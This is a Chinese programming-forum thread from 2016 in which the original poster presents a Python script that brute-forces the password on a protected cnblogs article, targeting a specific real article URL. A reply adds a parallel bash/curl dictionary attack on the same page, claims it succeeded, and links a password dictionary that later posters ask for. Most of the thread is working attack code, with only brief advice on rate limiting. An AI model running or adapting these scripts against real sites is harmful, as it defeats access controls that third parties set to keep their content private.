标题: [原创代码] 一个最简单的博客园文章密码暴力破解器-python3实现 [打印本页]
作者: codegay 时间: 2016-6-15 05:02 标题: 一个最简单的博客园文章密码暴力破解器-python3实现
我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。
博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,
要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。
比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/read ... /27/factualism.html
我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,
这个程序会有这么两个部分:
1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。
2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。
-_-!为什么使用生成器?
python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..
写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。
tqdm是一个python进度条库,requests是一个简单优雅的http库,
product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。
```- """
- python3暴力穷举密码
- 2016年6月09日 04:39:25 codegay
- """
- from time import strftime
- from itertools import product
- from time import sleep
- from tqdm import tqdm
- import requests
- from requests import post
-
-
- #密码生成器
- def psgen(x=4):
- iter = ['1234567890',
- 'abcdefghijklmnopqrstuvwxyz',
- 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
-
- ]
- for r in iter:
- for repeat in range(1,x+1):
- for ps in product(r,repeat=repeat):
- yield ''.join(ps)
-
-
- def fx(url):
- #把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
- url = url.replace("/post/readauth?url=", "")
- for ps in tqdm(psgen(6)):
- try:
- rs=post(url,data={'tb_password':ps},allow_redirects=1)
- if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
- with open("resut.csv","a+") as f:
- f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
- break
- except:
- sleep(1)
- pass
-
- url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
- fx(url)
复制代码
```
最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。
总结:
1、密码验证的地方适当增加一些防止暴力破解的手段。
2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。
作者: 523066680 时间: 2016-6-15 15:12
本帖最后由 523066680 于 2016-6-15 15:13 编辑
越来越刁了,在“看雪”看到你了
记得博客园有图片验证?
哦,我以为是破解用户账号,吓坏我了
作者: codegay 时间: 2016-6-15 15:18
回复 2# 523066680
。。。。擦。那不是又看到我在跟别人撕B了。
作者: codegay 时间: 2016-6-15 15:33
我试了一下,博客园的登录没有验证证码。我点很多下都没有出来验证码。
印象里面之前我是碰到过有验证码的。
博客园的用户名好像不是确定的,再加上网络暴力破解的速度慢。应该没人真会用暴力破帐号和密码的方法。
作者: lxzzr 时间: 2016-6-15 15:56
写了个小脚本
作者: 523066680 时间: 2016-6-15 16:18
回复 5# lxzzr
元老,快点拿粗来分享一下(也是破解博客访问密码的吗?)
作者: lxzzr 时间: 2016-6-15 16:24
本帖最后由 lxzzr 于 2016-6-15 16:25 编辑
回复 6# 523066680
是的,就是楼主那个,我用的是用bash批量提交curl- #!/bin/bash
-
- trap Cleanup SIGINT SIGTERM
-
- # 字典路径
- DictionaryPath="/root/.passwd/PASSWD01"
-
- # 读取字典文件到数组
- arrayW=(`cat $DictionaryPath`)
-
- # 最大任务量,数组
- Limit=${#arrayW[*]}
-
- # 并发的进程数
- Threads=60
-
- echo ""
- echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"
- echo ""
-
- function Cleanup()
- {
- # 清理后台还在运行的任务
- for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`
- do
- kill %$i
- done
-
- sleep 1
- echo -e "\n\nExit ...\n"
- exit
- }
-
-
- function Crack()
- {
- URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"
- result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')
- if [ "$result" == "200" ]; then
- printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"
- killall ${0##*/}
- fi
- }
-
-
- # 进程ID数组
- arrayP=()
-
- m=0
- while (( m < Limit ))
- do
- for ((n=0; n < Threads; n++))
- do
- if [ $m -gt $Limit ]; then
- break;
- fi
-
- if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then
-
- # 处理进度百分比
- progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')
-
- printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."
-
- Crack "${arrayW[m]}" &
-
- arrayP[n]=$!
-
- m=$((m+1))
- fi
- done
- sleep 0.5
- done
- wait
-
- printf "\n\n"
- exit
复制代码
作者: codegay 时间: 2016-6-15 16:38
好粗暴 。
作者: codegay 时间: 2016-6-15 16:42
字典里你填了什么啊,为毛就给算出来了。。。
作者: lxzzr 时间: 2016-6-15 16:44
回复 9# codegay
哈哈,就是一密码字典
作者: codegay 时间: 2016-6-15 16:56
回复 10# lxzzr
快分享字典。我要字典。
作者: lxzzr 时间: 2016-6-15 17:01
回复 11# codegay
http://pan.baidu.com/s/1pL8G8MB
作者: 归棹夕阳下 时间: 2020-4-15 16:22
回复 12# lxzzr
原链接已失效, 求密码字典,谢谢!
作者: 112 时间: 2020-4-15 21:32
求密码字典
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |